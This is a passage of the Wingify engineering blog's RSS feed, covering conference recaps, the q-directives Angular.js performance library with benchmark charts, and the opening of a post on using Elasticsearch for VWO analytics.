src=&quot;/images/2015/03/conference/12.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/13.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/14.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/15.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/16.jpg&quot;&gt; &lt;/div&gt; &lt;p&gt;A generic issue discussed in majority of the talks was regarding the maintenance of mobile web version of businesses after the successful creation of native apps on most popular mobile platforms. Several supporting /contradictory arguments were made with regard to this topic, though the most logical were in favor of supporting mobile web version as well. Several speakers shared their experience of the efforts involved in maintaining the web version or making the web experience as great as the one delivered through the native apps.&lt;/p&gt; &lt;p&gt;Performance was another major topic discussed in several talks, involving not just the networking performance of web applications, but also the rendering performance as well. Another big discussion revolved around achieving jank free performance while performing animations in not just the web applications, but games as well. Several techniques and approaches were discussed in the talks that shared the experience of speakers on the quest to achieve 60fps in web applications.&lt;/p&gt; &lt;p&gt;We had a great time being part of MetaRefresh 2015, and look forward to more such events, so stay tuned with our different social media channels (&lt;a href=&quot;https://twitter.com/wingify_engg&quot;&gt;Twitter&lt;/a&gt;, &lt;a href=&quot;https://www.facebook.com/Wingify&quot;&gt;Facebook&lt;/a&gt;) to meet us at another conference.&lt;/p&gt;</content:encoded><author>Apoorv Saxena</author></item><item><title><![CDATA[Meta Refresh 2015 Delhi Run-up Event hosted at Wingify]]></title><description><![CDATA[Giving back to the community has always been a priority at Wingify, be it through open sourcing internal projects or via organizing…]]></description><link>https://engineering.wingify.com//posts/post-meta-refresh-run-up/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/post-meta-refresh-run-up/</guid><pubDate>Mon, 01 Jun 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Giving back to the community has always been a priority at &lt;a href=&quot;https://wingify.com/&quot;&gt;Wingify&lt;/a&gt;, be it through open sourcing internal projects or via organizing / sponsoring community events, the most recent being &lt;a href=&quot;https://metarefresh.talkfunnel.com/2015-delhi/&quot;&gt;Meta Refresh Delhi Run-up Event&lt;/a&gt; organized and hosted by Wingify on 21st March 2015. &lt;a href=&quot;https://in.linkedin.com/in/tonysimonodyssey&quot;&gt;Tony Simon&lt;/a&gt; from HasGeek was present from the MetaRefresh Team to help us host this event and help us make it more awesome.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2015/03/1.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; Siddharth Deswal speaking on “How to Communicate Better with Marketing, Sales and Other &apos;Business&apos; Types” &lt;/div&gt; &lt;/div&gt; &lt;p&gt;The event started on time (10:30am) with Tony introducing MetaRefresh, HasGeek and Wingify to the attendees. &lt;a href=&quot;https://twitter.com/siddharthdeswal&quot;&gt;Siddharth Deswal&lt;/a&gt;, Marketing Guru at Wingify kickstarted the event with his talk on &quot;How to Communicate Better with Marketing, Sales and Other &apos;Business&apos; Types&quot;, along with shots of humour. The talk started with the narration of his own experience of wearing different hats at Wingify with him helping different departments. He concluded on a great note saying that different departments shouldn&apos;t be isolated and must focus on sharing and imparting knowledge to people from other departments, especially the ones who are interdependent; the best example being that marketing team should also try to understand the technical aspects related to feature development.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2015/03/2.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;Apoorv Saxena describing browser evolution in his talk on “Hacking to be Performant?” &lt;/div&gt; &lt;/div&gt; &lt;p&gt;A pure technical talk related to web performance, started off with a poll to find out how many of the participants measure performance regularly and have it part of their deployment process, the feedback from the attendees depicted negligible measures taken to continuously monitor product performance. Next was the discussion of the reasons on why performance mattered, which was followed up with the discussion of various hacks that people employed to bring performance to their applications. The core part of this talk discussed the difference between using hacks versus following different approach during development, and how each of them paid in the long run.&lt;/p&gt; &lt;p&gt;Slides: &lt;a href=&quot;http://www.slideshare.net/ApoorvSaxena/hacking-to-be-performant&quot;&gt;www.slideshare.net/ApoorvSaxena/hacking-to-be-performant&lt;/a&gt;&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2015/03/3.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;Vipul Taneja speaking on “Landing Pages Optimization” &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Next talk was presented by &lt;a href=&quot;http://vipultaneja.com/&quot;&gt;Vipul Taneja&lt;/a&gt; from AdSparkx media on &quot;Landing Pages Optimization - Things you can do to &apos;Test&apos;&quot;, with him briefing the attendees about his visit to Vegas and his observance about it during that time. His talk comprised of various techniques that his company uses to maximize ROI on different landing pages of businesses that hire them. The talk comprised of the discussion of both White Hat and Black Hat techniques as well for increasing landing page conversions.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2015/03/4.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;Taruna Manchanda speaking on “How to optimize your webpages - lessons learnt from 101 VWO customers&apos; A/B tests” &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Next speaker was &lt;a href=&quot;https://in.linkedin.com/in/tarunamanchanda&quot;&gt;Taruna Manchanda&lt;/a&gt;, who shared her experiences and learnings while taking care of all paid acquisitions and customer case studies, as part of the Digital Marketing Team at Wingify. The attendees gathered great insights about how to best A/B Test a webpage along with the focus on what needs to be measured and how.&lt;/p&gt; &lt;p&gt;Slides: &lt;a href=&quot;http://www.slideshare.net/tarunamanchanda23/7-cro-lessons-learned-after-going-through-100s-of-ab-testing-case-studies&quot;&gt;www.slideshare.net/tarunamanchanda23/7-cro-lessons-learned-after-going-through-100s-of-ab-testing-case-studies&lt;/a&gt;&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2015/03/5.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;Saptarshi Chatterjee speaking on “How to automatically generate Tests for your JavaScript file” &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Last on the speaker line up was &lt;a href=&quot;https://in.linkedin.com/pub/saptarshi-chatterjee/13/226/55a&quot;&gt;Saptarshi Chatterjee&lt;/a&gt;, Technical Lead at McKinsey, presented on &quot;How to automatically generate tests for your JavaScript file&quot;, while introducing his open source project to the world named YoSapy([yeo]man generator + [Sap]tarshi). He started off with the discussion of the importance of test cases and how he came across the idea to automate the test case creation process. He gave a hands-on demo of his project and took the rest of his time out to answer questions from the audience on how easy to have it part of their existing projects and also about how to extend / contribute to the same further.&lt;/p&gt; &lt;p&gt;Slides: &lt;a href=&quot;http://www.slideshare.net/sapta9433/auto-generate-customized-test-suit-for-your-angularjs&quot;&gt;www.slideshare.net/sapta9433/auto-generate-customized-test-suit-for-your-angularjs&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;to-sum-up&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#to-sum-up&quot; aria-label=&quot;to sum up permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;To Sum up&lt;/h3&gt; &lt;p&gt;It was a great experience hosting this event. Thanks to HasGeek for helping us with organizing the event. We hope that the conference will continue to happen in the years to come.&lt;/p&gt; &lt;p&gt;If you were present at the run-up event and met us there, stay tuned with our different social media channels(&lt;a href=&quot;https://twitter.com/wingify_engg&quot;&gt;Twitter&lt;/a&gt;, &lt;a href=&quot;https://www.facebook.com/Wingify&quot;&gt;Facebook&lt;/a&gt;) to again be a part of another event going to be hosted by us. If you have any suggestions to make your experience better, go ahead and leave comments and we will get back to you. If you like what we do at Wingify and want to join the force, we will be more than happy to work with you. &lt;a href=&quot;https://wingify.com/careers&quot;&gt;As always, we are looking for talented people to work with us&lt;/a&gt;!&lt;/p&gt;</content:encoded><author>Apoorv Saxena</author></item><item><title><![CDATA[Q-Directives - A Faster Directive System For Angular.js]]></title><description><![CDATA[Performance matters, and an Angular.js developer would especially know it. Several watchers in a digest cycle can often be a bottleneck, and…]]></description><link>https://engineering.wingify.com//posts/q-directives/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/q-directives/</guid><pubDate>Tue, 05 May 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Performance matters, and an Angular.js developer would especially know it. Several watchers in a digest cycle can often be a bottleneck, and &lt;a href=&quot;http://stackoverflow.com/questions/9682092/databinding-in-angularjs&quot;&gt;Angular doesn&apos;t recommend having more than 2,000 of them in your application&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;We are proud to announce &lt;a href=&quot;/q-directives/&quot;&gt;q-directives&lt;/a&gt;, a brand new and fast directive system for Angular.js, that takes the watcher optimization to a whole new level. It was a result of several &lt;a href=&quot;http://jsperf.com&quot;&gt;jsperf&lt;/a&gt; tests and Chrome Timeline runs.&lt;/p&gt; &lt;div style=&quot;text-align: center;&quot;&gt; &lt;a href=&quot;https://github.com/wingify/q-directives&quot; style=&quot;padding: 20px 40px; font-size: 24px;&quot; class=&quot;btn btn-primary&quot;&gt;Q-Directives on Github&lt;/a&gt; &lt;/div&gt; &lt;h2 id=&quot;motivation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#motivation&quot; aria-label=&quot;motivation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Motivation&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;https://app.vwo.com&quot;&gt;VWO&lt;/a&gt; is single-page application made entirely in Angular.js. When designing a detailed reporting system for campaigns in Angular.js, we faced troubles with rendering large amounts of data using Angular directives. In one of the report pages, the application had registered 15,000+ watchers, especially due to the way &lt;code class=&quot;language-text&quot;&gt;ng-repeat&lt;/code&gt; works.&lt;/p&gt; &lt;p&gt;With q-directives and a revamped directive system, the number of watchers for a &lt;code class=&quot;language-text&quot;&gt;q-repeat&lt;/code&gt; directive (replacement for the &lt;code class=&quot;language-text&quot;&gt;ng-repeat&lt;/code&gt; directive) was brought down to just 1. So whenever the list changes, only one watcher gets fired.&lt;/p&gt; &lt;h2 id=&quot;performance-benchmarks&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#performance-benchmarks&quot; aria-label=&quot;performance benchmarks permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Performance Benchmarks&lt;/h2&gt; &lt;p&gt;Below stats are a rendition of the Chrome (version 37) timeline for the following use case:&lt;/p&gt; &lt;p&gt;A table containing 216 rows repeated by q-repeat. Each row has about 10 columns containing about 50+ Angular directives each (Original). The optimized version has those Angular directives replaced with q-directives, and ng-repeat is replaced by q-repeat.&lt;/p&gt; &lt;p&gt;Data is collected over 5 samples for both Original and Optimized situations.&lt;/p&gt; &lt;h3 id=&quot;initial-table-render&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#initial-table-render&quot; aria-label=&quot;initial table render permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Initial table render&lt;/h3&gt; &lt;h4 id=&quot;original&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#original&quot; aria-label=&quot;original permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Original&lt;/h4&gt; &lt;p&gt;&lt;a href=&quot;/images/2015/05/1.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/2015/05/1.png&quot; alt=&quot;graph&quot;&gt;&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;optimized&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#optimized&quot; aria-label=&quot;optimized permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Optimized&lt;/h4&gt; &lt;p&gt;&lt;a href=&quot;/images/2015/05/2.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/2015/05/2.png&quot; alt=&quot;graph&quot;&gt;&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;optimized--disabling-nganimate&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#optimized--disabling-nganimate&quot; aria-label=&quot;optimized disabling nganimate permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Optimized (+ disabling ngAnimate)&lt;/h4&gt; &lt;p&gt;&lt;a href=&quot;/images/2015/05/3.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/2015/05/3.png&quot; alt=&quot;graph&quot;&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;sorting-the-table&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#sorting-the-table&quot; aria-label=&quot;sorting the table permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Sorting the table&lt;/h3&gt; &lt;h4 id=&quot;original-1&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#original-1&quot; aria-label=&quot;original 1 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Original&lt;/h4&gt; &lt;p&gt;&lt;a href=&quot;/images/2015/05/4.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/2015/05/4.png&quot; alt=&quot;graph&quot;&gt;&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;optimized-1&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#optimized-1&quot; aria-label=&quot;optimized 1 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Optimized&lt;/h4&gt; &lt;p&gt;&lt;a href=&quot;/images/2015/05/5.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/2015/05/5.png&quot; alt=&quot;graph&quot;&gt;&lt;/a&gt;&lt;/p&gt; &lt;hr&gt; &lt;h2 id=&quot;documentation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#documentation&quot; aria-label=&quot;documentation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Documentation&lt;/h2&gt; &lt;p&gt;Head over to &lt;a href=&quot;/q-directives/&quot;&gt;this link&lt;/a&gt; for a usage documentation and API reference.&lt;/p&gt; &lt;h2 id=&quot;contributing&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#contributing&quot; aria-label=&quot;contributing permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Contributing&lt;/h2&gt; &lt;p&gt;If you are interested in contributing to the project, we would love to hear from you. Just &lt;a href=&quot;https://github.com/wingify/q-directives/fork&quot;&gt;fork the repository&lt;/a&gt; and &lt;a href=&quot;https://github.com/wingify/q-directives/pulls&quot;&gt;submit a pull request&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Elasticsearch for Analytics]]></title><description><![CDATA[Elasticsearch is essentially a distributed search-engine but there have been more than one example of companies and projects using…]]></description><link>https://engineering.wingify.com//posts/elasticsearch-for-analytics/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/elasticsearch-for-analytics/</guid><pubDate>Fri, 27 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.elastic.co/products/elasticsearch&quot;&gt;Elasticsearch&lt;/a&gt; is essentially a distributed search-engine but there have been more than one example of companies and projects using Elasticsearch for analytics instead of search. We, at &lt;a href=&quot;https://wingify.com&quot;&gt;Wingify&lt;/a&gt;, had similar requirements when we decided to make our analytics more powerful to empower the customers of our product, &lt;a href=&quot;https://vwo.com&quot;&gt;Visual Website Optimizer (VWO)&lt;/a&gt;. This blog post is about how we used Elasticsearch to make &lt;a href=&quot;https://vwo.com&quot;&gt;VWO&apos;s&lt;/a&gt; user tracking a lot more powerful than it earlier was.&lt;/p&gt; &lt;h2 id=&quot;the-problem&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-problem&quot; aria-label=&quot;the problem permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Problem&lt;/h2&gt; &lt;p&gt;For context, &lt;a href=&quot;https://vwo.com&quot;&gt;VWO&lt;/a&gt; is a tool that makes A/B testing of websites and mobile apps so simple so that there is no engineering intervention involved to run new A/B testing campaigns. Marketers and UI/UX designers do A/B testing to improve online conversions and sales. &lt;a href=&quot;https://vwo.com&quot;&gt;VWO&lt;/a&gt; helps them with performing these A/B tests with almost no engineering knowledge.&lt;/p&gt; &lt;p&gt;Since &lt;a href=&quot;https://vwo.com&quot;&gt;VWO&lt;/a&gt; is at the center of optimizing websites and mobile apps, this makes user tracking important for our product - our users make use of the data we collect to understand how their users (different segments of users) behave and make optimization decisions accordingly. For example, in an A/B test campaign with three variations, variation 2 might be winning for all the goals but for all the users coming from India, variation 3 might be winning for all or some of the goals. It should be possible for our customers to generate custom segmented reports and observe these different behaviours. &lt;/p&gt; &lt;p&gt;So lets summarize how a campaign and its reporting should work:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;A &lt;a href=&quot;https://vwo.com&quot;&gt;VWO&lt;/a&gt; customer may create multiple campaigns. These campaigns have more than one variations (variations are variants of web pages or iOS apps with UI changes) that our customer wants to A/B test against real-traffic.&lt;/li&gt; &lt;li&gt;Every campaign has more than one goals (goals are events that you want to track, such as visiting a particular page, clicking a DOM element, submitting a form, triggering a custom event with JavaScript etc.) which our customer wants us to track.&lt;/li&gt; &lt;li&gt;Our JavaScript library tracks how real visitors trigger goals (events) per variation and sends this data to our data collection end-points.&lt;/li&gt; &lt;li&gt;Our data backend stores every visit and conversion for all the defined goals per variation. This is stored on a day-wise basis.&lt;/li&gt; &lt;li&gt;When the campaign&apos;s report is accessed, the day-wise visitor and goal conversion data is used in the statistics that go behind generating the report.&lt;/li&gt; &lt;li&gt;Reports are generated considering behaviour of all the users who became a part of the campaign. However, our customers should have the flexibility to segment reports on the basis of parameters like location, browser, operating system, time range, query parameters, traffic type, etc.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;in-the-prehistoric-times&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#in-the-prehistoric-times&quot; aria-label=&quot;in the prehistoric times permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 